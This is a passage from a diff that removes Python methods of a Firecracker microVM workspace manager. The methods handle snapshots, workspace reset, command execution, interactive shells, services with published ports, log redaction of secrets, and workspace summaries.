path_text in sorted(planned_writes): - self._backend.write_workspace_file( - instance, - workspace_path=path_text, - text=planned_writes[path_text], - ) - for path_text in sorted(planned_deletes): - self._backend.delete_workspace_path( - instance, - workspace_path=path_text, - ) - - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="patch_apply", - payload={ - "summary": dict(summary), - "entries": [dict(entry) for entry in entries[:10]], - "execution_mode": str(instance.metadata.get("execution_mode", "pending")), - }, - ) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "changed": bool(entries), - "summary": summary, - "entries": entries, - "patch": patch_text, - "execution_mode": instance.metadata.get("execution_mode", "pending"), - } - - def create_snapshot( - self, - workspace_id: str, - snapshot_name: str, - ) -> dict[str, Any]: - normalized_snapshot_name = _normalize_workspace_snapshot_name(snapshot_name) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._workspace_baseline_snapshot_locked(workspace) - if ( - self._load_workspace_snapshot_locked_optional( - workspace_id, - normalized_snapshot_name, - ) - is not None - ): - raise ValueError( - f"snapshot {normalized_snapshot_name!r} already exists in workspace " - f"{workspace_id!r}" - ) - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="workspace_snapshot_create", - ) - with tempfile.TemporaryDirectory(prefix="pyro-workspace-snapshot-") as temp_dir: - temp_archive_path = Path(temp_dir) / f"{normalized_snapshot_name}.tar" - exported = self._backend.export_archive( - instance, - workspace_path=WORKSPACE_GUEST_PATH, - archive_path=temp_archive_path, - ) - snapshot = WorkspaceSnapshotRecord( - workspace_id=workspace_id, - snapshot_name=normalized_snapshot_name, - kind="named", - created_at=time.time(), - entry_count=int(exported["entry_count"]), - bytes_written=int(exported["bytes_written"]), - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - if ( - self._load_workspace_snapshot_locked_optional( - workspace_id, - normalized_snapshot_name, - ) - is not None - ): - raise ValueError( - f"snapshot {normalized_snapshot_name!r} already exists in workspace " - f"{workspace_id!r}" - ) - archive_path = self._workspace_snapshot_archive_path( - workspace_id, - normalized_snapshot_name, - ) - archive_path.parent.mkdir(parents=True, exist_ok=True) - shutil.copy2(temp_archive_path, archive_path) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._save_workspace_snapshot_locked(snapshot) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="snapshot_create", - payload={ - "snapshot_name": snapshot.snapshot_name, - "kind": snapshot.kind, - "entry_count": snapshot.entry_count, - "bytes_written": snapshot.bytes_written, - "created_at": snapshot.created_at, - }, - ) - return { - "workspace_id": workspace_id, - "snapshot": self._serialize_workspace_snapshot(snapshot), - "execution_mode": instance.metadata.get("execution_mode", "pending"), - } - - def list_snapshots(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - snapshots = self._list_workspace_snapshots_locked(workspace) - return { - "workspace_id": workspace_id, - "count": len(snapshots), - "snapshots": [ - self._serialize_workspace_snapshot(snapshot) for snapshot in snapshots - ], - } - - def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - normalized_snapshot_name = _normalize_workspace_snapshot_name( - snapshot_name, - allow_baseline=True, - ) - if normalized_snapshot_name == "baseline": - raise ValueError("cannot delete the baseline snapshot") - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._workspace_baseline_snapshot_locked(workspace) - self._load_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) - self._delete_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) - self._touch_workspace_activity_locked(workspace) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="snapshot_delete", - payload={"snapshot_name": normalized_snapshot_name}, - ) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "snapshot_name": normalized_snapshot_name, - "deleted": True, - } - - def reset_workspace( - self, - workspace_id: str, - *, - snapshot: str = "baseline", - ) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - selected_snapshot, archive_path = self._resolve_workspace_snapshot_locked( - workspace, - snapshot, - ) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - self._stop_workspace_services_locked(workspace, instance) - self._close_workspace_shells_locked(workspace, instance) - if workspace.state == "started": - self._backend.stop(instance) - workspace.state = "stopped" - self._backend.delete(instance) - workspace.state = "stopped" - workspace.firecracker_pid = None - workspace.last_error = None - self._reset_workspace_runtime_dirs(workspace_id) - self._save_workspace_locked(workspace) - recreated: VmInstance | None = None - try: - recreated = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - self._require_workspace_network_policy_support(network_policy=workspace.network_policy) - self._backend.create(recreated) - if self._runtime_capabilities.supports_guest_exec: - self._ensure_workspace_guest_bootstrap_support(recreated) - with self._lock: - self._start_instance_locked(recreated) - workspace = self._load_workspace_locked(workspace_id) - if workspace.secrets: - self._install_workspace_secrets_locked(workspace, recreated) - self._require_guest_exec_or_opt_in(recreated) - reset_summary = self._backend.import_archive( - recreated, - archive_path=archive_path, - destination=WORKSPACE_GUEST_PATH, - ) - workspace = self._load_workspace_locked(workspace_id) - workspace.state = recreated.state - workspace.firecracker_pid = recreated.firecracker_pid - workspace.last_error = recreated.last_error - workspace.metadata = dict(recreated.metadata) - workspace.command_count = 0 - workspace.last_command = None - workspace.reset_count += 1 - workspace.last_reset_at = time.time() - self._touch_workspace_activity_locked(workspace, when=workspace.last_reset_at) - self._save_workspace_locked(workspace) - payload = self._serialize_workspace(workspace) - except Exception: - try: - if recreated is not None and recreated.state == "started": - self._backend.stop(recreated) - except Exception: - pass - try: - if recreated is not None: - self._backend.delete(recreated) - except Exception: - pass - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = "stopped" - workspace.firecracker_pid = None - workspace.last_error = None - self._save_workspace_locked(workspace) - raise - payload["workspace_reset"] = { - "snapshot_name": selected_snapshot.snapshot_name, - "kind": selected_snapshot.kind, - "destination": str(reset_summary["destination"]), - "entry_count": int(reset_summary["entry_count"]), - "bytes_written": int(reset_summary["bytes_written"]), - } - return payload - - def exec_workspace( - self, - workspace_id: str, - *, - command: str, - timeout_seconds: int = 30, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - if timeout_seconds <= 0: - raise ValueError("timeout_seconds must be positive") - normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - if workspace.state != "started": - raise RuntimeError( - f"workspace {workspace_id} must be in 'started' state before workspace_exec" - ) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - redact_values = self._workspace_secret_redact_values_locked(workspace) - env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) - if workspace.secrets and normalized_secret_env: - self._install_workspace_secrets_locked(workspace, instance) - try: - exec_result, execution_mode = self._exec_instance( - instance, - command=command, - timeout_seconds=timeout_seconds, - host_workdir=self._workspace_host_dir(workspace.workspace_id), - guest_cwd=WORKSPACE_GUEST_PATH, - env=env_values or None, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - redacted_exec_result = VmExecResult( - stdout=_redact_text(exec_result.stdout, redact_values), - stderr=_redact_text(exec_result.stderr, redact_values), - exit_code=exec_result.exit_code, - duration_ms=exec_result.duration_ms, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - entry = self._record_workspace_command_locked( - workspace, - command=command, - exec_result=redacted_exec_result, - execution_mode=execution_mode, - cwd=WORKSPACE_GUEST_PATH, - ) - self._save_workspace_locked(workspace) - return { - "workspace_id": workspace_id, - "environment": workspace.environment, - "environment_version": workspace.metadata.get("environment_version"), - "command": command, - "stdout": redacted_exec_result.stdout, - "stderr": redacted_exec_result.stderr, - "exit_code": redacted_exec_result.exit_code, - "duration_ms": redacted_exec_result.duration_ms, - "execution_mode": execution_mode, - "sequence": entry["sequence"], - "cwd": WORKSPACE_GUEST_PATH, - } - - def open_shell( - self, - workspace_id: str, - *, - cwd: str = WORKSPACE_GUEST_PATH, - cols: int = DEFAULT_SHELL_COLS, - rows: int = DEFAULT_SHELL_ROWS, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - if cols <= 0: - raise ValueError("cols must be positive") - if rows <= 0: - raise ValueError("rows must be positive") - normalized_cwd, _ = _normalize_workspace_destination(cwd) - normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) - shell_id = uuid.uuid4().hex[:12] - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_shell_locked(workspace) - redact_values = self._workspace_secret_redact_values_locked(workspace) - env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) - if workspace.secrets and normalized_secret_env: - self._install_workspace_secrets_locked(workspace, instance) - try: - payload = self._backend.open_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - cwd=normalized_cwd, - cols=cols, - rows=rows, - env=env_values or None, - redact_values=redact_values, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - shell = self._workspace_shell_record_from_payload( - workspace_id=workspace_id, - shell_id=shell_id, - payload=payload, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._save_workspace_shell_locked(shell) - return self._serialize_workspace_shell(shell) - - def read_shell( - self, - workspace_id: str, - shell_id: str, - *, - cursor: int = 0, - max_chars: int = DEFAULT_SHELL_MAX_CHARS, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - if cursor < 0: - raise ValueError("cursor must not be negative") - if max_chars <= 0: - raise ValueError("max_chars must be positive") - if wait_for_idle_ms is not None and ( - wait_for_idle_ms <= 0 or wait_for_idle_ms > MAX_SHELL_WAIT_FOR_IDLE_MS - ): - raise ValueError(f"wait_for_idle_ms must be between 1 and {MAX_SHELL_WAIT_FOR_IDLE_MS}") - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_shell_locked(workspace) - shell = self._load_workspace_shell_locked(workspace_id, shell_id) - redact_values = self._workspace_secret_redact_values_locked(workspace) - try: - if wait_for_idle_ms is None: - payload = self._backend.read_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - cursor=cursor, - max_chars=max_chars, - ) - else: - payload = self._read_shell_with_idle_wait( - instance=instance, - workspace_id=workspace_id, - shell_id=shell_id, - cursor=cursor, - max_chars=max_chars, - wait_for_idle_ms=wait_for_idle_ms, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - updated_shell = self._workspace_shell_record_from_payload( - workspace_id=workspace_id, - shell_id=shell_id, - payload=payload, - metadata=shell.metadata, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._save_workspace_locked(workspace) - self._save_workspace_shell_locked(updated_shell) - raw_output = _redact_text(str(payload.get("output", "")), redact_values) - rendered_output = render_plain_shell_output(raw_output) if plain else raw_output - truncated = bool(payload.get("truncated", False)) - if plain and len(rendered_output) > max_chars: - rendered_output = rendered_output[:max_chars] - truncated = True - response = self._serialize_workspace_shell(updated_shell) - response.update( - { - "cursor": int(payload.get("cursor", cursor)), - "next_cursor": int(payload.get("next_cursor", cursor)), - "output": rendered_output, - "truncated": truncated, - "plain": plain, - "wait_for_idle_ms": wait_for_idle_ms, - } - ) - return response - - def _read_shell_with_idle_wait( - self, - *, - instance: VmInstance, - workspace_id: str, - shell_id: str, - cursor: int, - max_chars: int, - wait_for_idle_ms: int, - ) -> dict[str, Any]: - wait_seconds = wait_for_idle_ms / 1000 - current_cursor = cursor - remaining_chars = max_chars - raw_chunks: list[str] = [] - last_payload: dict[str, Any] | None = None - saw_output = False - deadline = time.monotonic() + wait_seconds - while True: - payload = self._backend.read_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - cursor=current_cursor, - max_chars=remaining_chars, - ) - last_payload = payload - next_cursor = int(payload.get("next_cursor", current_cursor)) - chunk = str(payload.get("output", "")) - advanced = next_cursor > current_cursor or bool(chunk) - if advanced: - saw_output = True - if chunk: - raw_chunks.append(chunk) - consumed = max(0, next_cursor - current_cursor) - current_cursor = next_cursor - remaining_chars = max(0, remaining_chars - consumed) - deadline = time.monotonic() + wait_seconds - if remaining_chars <= 0 or str(payload.get("state", "")) != "running": - break - time.sleep(SHELL_IDLE_POLL_INTERVAL_SECONDS) - continue - if str(payload.get("state", "")) != "running": - break - if time.monotonic() >= deadline: - break - if not saw_output and wait_seconds <= 0: - break - time.sleep(SHELL_IDLE_POLL_INTERVAL_SECONDS) - if last_payload is None: - raise RuntimeError(f"shell {shell_id} did not return a read payload") - if current_cursor == cursor: - return last_payload - aggregated = dict(last_payload) - aggregated["cursor"] = cursor - aggregated["next_cursor"] = current_cursor - aggregated["output"] = "".join(raw_chunks) - aggregated["truncated"] = bool(last_payload.get("truncated", False)) or remaining_chars <= 0 - return aggregated - - def write_shell( - self, - workspace_id: str, - shell_id: str, - *, - input_text: str, - append_newline: bool = True, - ) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_shell_locked(workspace) - shell = self._load_workspace_shell_locked(workspace_id, shell_id) - redact_values = self._workspace_secret_redact_values_locked(workspace) - try: - payload = self._backend.write_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - input_text=input_text, - append_newline=append_newline, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - updated_shell = self._workspace_shell_record_from_payload( - workspace_id=workspace_id, - shell_id=shell_id, - payload=payload, - metadata=shell.metadata, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._save_workspace_shell_locked(updated_shell) - response = self._serialize_workspace_shell(updated_shell) - response.update( - { - "input_length": int(payload.get("input_length", len(input_text))), - "append_newline": bool(payload.get("append_newline", append_newline)), - } - ) - return response - - def signal_shell( - self, - workspace_id: str, - shell_id: str, - *, - signal_name: str = "INT", - ) -> dict[str, Any]: - normalized_signal = signal_name.upper() - if normalized_signal not in WORKSPACE_SHELL_SIGNAL_NAMES: - raise ValueError( - f"signal_name must be one of: {', '.join(WORKSPACE_SHELL_SIGNAL_NAMES)}" - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_shell_locked(workspace) - shell = self._load_workspace_shell_locked(workspace_id, shell_id) - redact_values = self._workspace_secret_redact_values_locked(workspace) - try: - payload = self._backend.signal_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - signal_name=normalized_signal, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - updated_shell = self._workspace_shell_record_from_payload( - workspace_id=workspace_id, - shell_id=shell_id, - payload=payload, - metadata=shell.metadata, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._save_workspace_shell_locked(updated_shell) - response = self._serialize_workspace_shell(updated_shell) - response["signal"] = str(payload.get("signal", normalized_signal)) - return response - - def close_shell( - self, - workspace_id: str, - shell_id: str, - ) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_shell_locked(workspace) - shell = self._load_workspace_shell_locked(workspace_id, shell_id) - redact_values = self._workspace_secret_redact_values_locked(workspace) - try: - payload = self._backend.close_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - closed_shell = self._workspace_shell_record_from_payload( - workspace_id=workspace_id, - shell_id=shell_id, - payload=payload, - metadata=shell.metadata, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._delete_workspace_shell_locked(workspace_id, shell_id) - response = self._serialize_workspace_shell(closed_shell) - response["closed"] = bool(payload.get("closed", True)) - return response - - def start_service( - self, - workspace_id: str, - service_name: str, - *, - command: str, - cwd: str = WORKSPACE_GUEST_PATH, - readiness: dict[str, Any] | None = None, - ready_timeout_seconds: int = DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, - ready_interval_ms: int = DEFAULT_SERVICE_READY_INTERVAL_MS, - secret_env: dict[str, str] | None = None, - published_ports: list[dict[str, Any]] | None = None, - ) -> dict[str, Any]: - normalized_service_name = _normalize_workspace_service_name(service_name) - normalized_cwd, _ = _normalize_workspace_destination(cwd) - normalized_readiness = _normalize_workspace_service_readiness(readiness) - normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) - normalized_published_ports = _normalize_workspace_published_port_specs(published_ports) - if ready_timeout_seconds <= 0: - raise ValueError("ready_timeout_seconds must be positive") - if ready_interval_ms <= 0: - raise ValueError("ready_interval_ms must be positive") - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_service_locked(workspace) - if normalized_published_ports: - if workspace.network_policy != "egress+published-ports": - raise RuntimeError( - "published ports require workspace network_policy 'egress+published-ports'" - ) - if instance.network is None: - raise RuntimeError( - "published ports require an active guest network configuration" - ) - redact_values = self._workspace_secret_redact_values_locked(workspace) - env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) - if workspace.secrets and normalized_secret_env: - self._install_workspace_secrets_locked(workspace, instance) - existing = self._load_workspace_service_locked_optional( - workspace_id, - normalized_service_name, - ) - if existing is not None: - existing = self._refresh_workspace_service_locked( - workspace, - instance, - existing, - ) - if existing.state == "running": - raise RuntimeError( - f"service {normalized_service_name!r} is already running in " - f"workspace {workspace_id!r}" - ) - self._delete_workspace_service_artifacts_locked( - workspace_id, - normalized_service_name, - ) - try: - payload = self._backend.start_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - command=command, - cwd=normalized_cwd, - readiness=normalized_readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - env=env_values or None, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - service = self._workspace_service_record_from_payload( - workspace_id=workspace_id, - service_name=normalized_service_name, - payload=payload, - ) - if normalized_published_ports: - assert instance.network is not None # guarded above - try: - service.published_ports = self._start_workspace_service_published_ports( - workspace=workspace, - service=service, - guest_ip=instance.network.guest_ip, - published_ports=normalized_published_ports, - ) - except Exception: - try: - failed_payload = self._backend.stop_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - ) - service = self._workspace_service_record_from_payload( - workspace_id=workspace_id, - service_name=normalized_service_name, - payload=failed_payload, - published_ports=[], - ) - except Exception: - service.state = "failed" - service.stop_reason = "published_port_failed" - service.ended_at = service.ended_at or time.time() - else: - service.state = "failed" - service.stop_reason = "published_port_failed" - service.ended_at = service.ended_at or time.time() - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._save_workspace_service_locked(service) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="service_start", - payload={ - "service_name": service.service_name, - "state": service.state, - "command": service.command, - "cwd": service.cwd, - "readiness": ( - dict(service.readiness) if service.readiness is not None else None - ), - "ready_at": service.ready_at, - "published_ports": [ - _serialize_workspace_published_port_public(published_port) - for published_port in service.published_ports - ], - }, - ) - return self._serialize_workspace_service(service) - - def list_services(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_service_locked(workspace) - services = self._refresh_workspace_services_locked(workspace, instance) - self._save_workspace_locked(workspace) - serialized = [self._serialize_workspace_service(service) for service in services] - return { - "workspace_id": workspace_id, - "count": len(serialized), - "running_count": sum(1 for item in serialized if item["state"] == "running"), - "services": serialized, - } - - def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - normalized_service_name = _normalize_workspace_service_name(service_name) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_service_locked(workspace) - service = self._load_workspace_service_locked(workspace_id, normalized_service_name) - service = self._refresh_workspace_service_locked(workspace, instance, service) - self._save_workspace_locked(workspace) - self._save_workspace_service_locked(service) - return self._serialize_workspace_service(service) - - def logs_service( - self, - workspace_id: str, - service_name: str, - *, - tail_lines: int | None = DEFAULT_SERVICE_LOG_TAIL_LINES, - ) -> dict[str, Any]: - normalized_service_name = _normalize_workspace_service_name(service_name) - if tail_lines is not None and tail_lines <= 0: - raise ValueError("tail_lines must be positive") - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_service_locked(workspace) - service = self._load_workspace_service_locked(workspace_id, normalized_service_name) - redact_values = self._workspace_secret_redact_values_locked(workspace) - try: - payload = self._backend.logs_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - tail_lines=tail_lines, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - service = self._workspace_service_record_from_payload( - workspace_id=workspace_id, - service_name=normalized_service_name, - payload=payload, - metadata=service.metadata, - published_ports=service.published_ports, - ) - if service.published_ports: - for published_port in service.published_ports: - _stop_workspace_published_port_proxy(published_port) - service.published_ports = [ - WorkspacePublishedPortRecord( - guest_port=published_port.guest_port, - host_port=published_port.host_port, - host=published_port.host, - protocol=published_port.protocol, - proxy_pid=None, - ) - for published_port in service.published_ports - ] - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - self._save_workspace_service_locked(service) - response = self._serialize_workspace_service(service) - response.update( - { - "stdout": _redact_text(str(payload.get("stdout", "")), redact_values), - "stderr": _redact_text(str(payload.get("stderr", "")), redact_values), - "tail_lines": tail_lines, - "truncated": bool(payload.get("truncated", False)), - } - ) - return response - - def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - normalized_service_name = _normalize_workspace_service_name(service_name) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = self._workspace_instance_for_live_service_locked(workspace) - service = self._load_workspace_service_locked(workspace_id, normalized_service_name) - redact_values = self._workspace_secret_redact_values_locked(workspace) - try: - payload = self._backend.stop_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - ) - except Exception as exc: - raise _redact_exception(exc, redact_values) from exc - service = self._workspace_service_record_from_payload( - workspace_id=workspace_id, - service_name=normalized_service_name, - payload=payload, - metadata=service.metadata, - published_ports=service.published_ports, - ) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = instance.last_error - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._record_workspace_review_event_locked( - workspace_id, - event_kind="service_stop", - payload={ - "service_name": service.service_name, - "state": service.state, - "exit_code": service.exit_code, - "stop_reason": service.stop_reason, - "ended_at": service.ended_at, - }, - ) - self._save_workspace_locked(workspace) - self._save_workspace_service_locked(service) - return self._serialize_workspace_service(service) - - def status_workspace(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - self._refresh_workspace_service_counts_locked(workspace) - self._save_workspace_locked(workspace) - return self._serialize_workspace(workspace) - - def logs_workspace(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - self._save_workspace_locked(workspace) - entries = self._read_workspace_logs_locked(workspace.workspace_id) - redact_values = self._workspace_secret_redact_values_locked(workspace) - redacted_entries = [] - for entry in entries: - redacted_entry = dict(entry) - redacted_entry["stdout"] = _redact_text(str(entry.get("stdout", "")), redact_values) - redacted_entry["stderr"] = _redact_text(str(entry.get("stderr", "")), redact_values) - redacted_entries.append(redacted_entry) - return { - "workspace_id": workspace.workspace_id, - "count": len(redacted_entries), - "entries": redacted_entries, - } - - def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - self._refresh_workspace_service_counts_locked(workspace) - self._save_workspace_locked(workspace) - - command_entries = self._read_workspace_logs_locked(workspace.workspace_id) - recent_commands = [ - { - "sequence": int(entry["sequence"]), - "command": str(entry["command"]), - "cwd": str(entry["cwd"]), - "exit_code": int(entry["exit_code"]), - "duration_ms": int(entry["duration_ms"]), - "execution_mode": str(entry["execution_mode"]), - "recorded_at": float(entry["recorded_at"]), - } - for entry in command_entries[-5:] - ] - recent_commands.reverse() - - review_events = self._list_workspace_review_events_locked(workspace.workspace_id) - - def _recent_events( - kinds: set[WorkspaceReviewEventKind], - *, - limit: int = 5, - ) -> list[dict[str, Any]]: - matched = [ - { - "event_kind": event.event_kind, - "recorded_at": event.recorded_at, - **event.payload, - } - for event in review_events - if event.event_kind in kinds - ] - matched = matched[-limit:] - matched.reverse() - return matched - - current_services = [ - self._serialize_workspace_service(service) - for service in self._list_workspace_services_locked(workspace.workspace_id) - ] - current_services.sort(key=lambda item: str(item["service_name"])) - try: - snapshots = self._list_workspace_snapshots_locked(workspace) - named_snapshot_count = max(len(snapshots) - 1, 0) - except RuntimeError: - named_snapshot_count = 0 - - service_count = len(current_services) - running_service_count = sum( - 1 for service in current_services if service["state"] == "running" - ) - execution_mode = str(workspace.metadata.get("execution_mode", "pending")) - payload: dict[str, Any] = { - "workspace_id": workspace.workspace_id, - "name": workspace.name, - "labels": dict(workspace.labels), - "environment": workspace.environment, - "state": workspace.state, - "workspace_path": WORKSPACE_GUEST_PATH, - "execution_mode": execution_mode, - "last_activity_at": workspace.last_activity_at, - "session_started_at": ( - workspace.last_reset_at - if workspace.last_reset_at is not None - else workspace.created_at - ), - "outcome": { - "command_count": workspace.command_count, - "last_command": workspace.last_command, - "service_count": service_count, - "running_service_count": running_service_count, - "export_count": sum( - 1 for event in review_events if event.event_kind == "workspace_export" - ), - "snapshot_count": named_snapshot_count, - "reset_count": workspace.reset_count, - }, - "commands": { - "total": workspace.command_count, - "recent": recent_commands, - }, - "edits": { - "recent": _recent_events({"sync_push", "file_write", "patch_apply"}), - }, - "services": { - "current": current_services, - "recent": _recent_events({"service_start", "service_stop"}), - }, - "artifacts": { - "exports": _recent_events({"workspace_export"}), - }, - "snapshots": { - "named_count": named_snapshot_count, - "recent": _recent_events({"snapshot_create", "snapshot_delete"}), - }, - } - - if payload["state"] != "started": - payload["changes"] = { - "available": False, - "reason": ( - f"workspace {workspace_id!r} must be in 'started' state before " - "workspace_summary can compute current changes" - ), - "changed": False, - "summary": None, - "entries": [], - } - return payload - - try: - diff_payload = self.diff_workspace(workspace_id) - except Exception as exc: - payload["changes"] = { - "available": False, - "reason": str(exc), - "changed": False, - "summary": None, - "entries": [], - } - return payload - - diff_entries: list[dict[str, Any]] = [] - raw_entries = diff_payload.get("entries") - if isinstance(raw_entries, list): - for entry in raw_entries[:10]: - if not isinstance(entry, dict): - continue - diff_entries.append( - {key: value for key, value in entry.items() if key != "text_patch"} - ) - payload["changes"] = { - "available": True, - "reason": None, - "changed": bool(diff_payload.get("changed", False)), - "summary": diff_payload.get("summary"), - "entries": diff_entries, - } - return payload - - def stop_workspace(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - try: - self._stop_workspace_services_locked(workspace, instance) - self._close_workspace_shells_locked(workspace, instance) - self._flush_workspace_filesystem_locked(workspace, instance) - if workspace.state == "started": - self._backend.stop(instance) - workspace.state = "stopped" - workspace.firecracker_pid = None - workspace.last_error = None - workspace.metadata = dict(instance.metadata) - self._scrub_workspace_runtime_state_locked(workspace) - 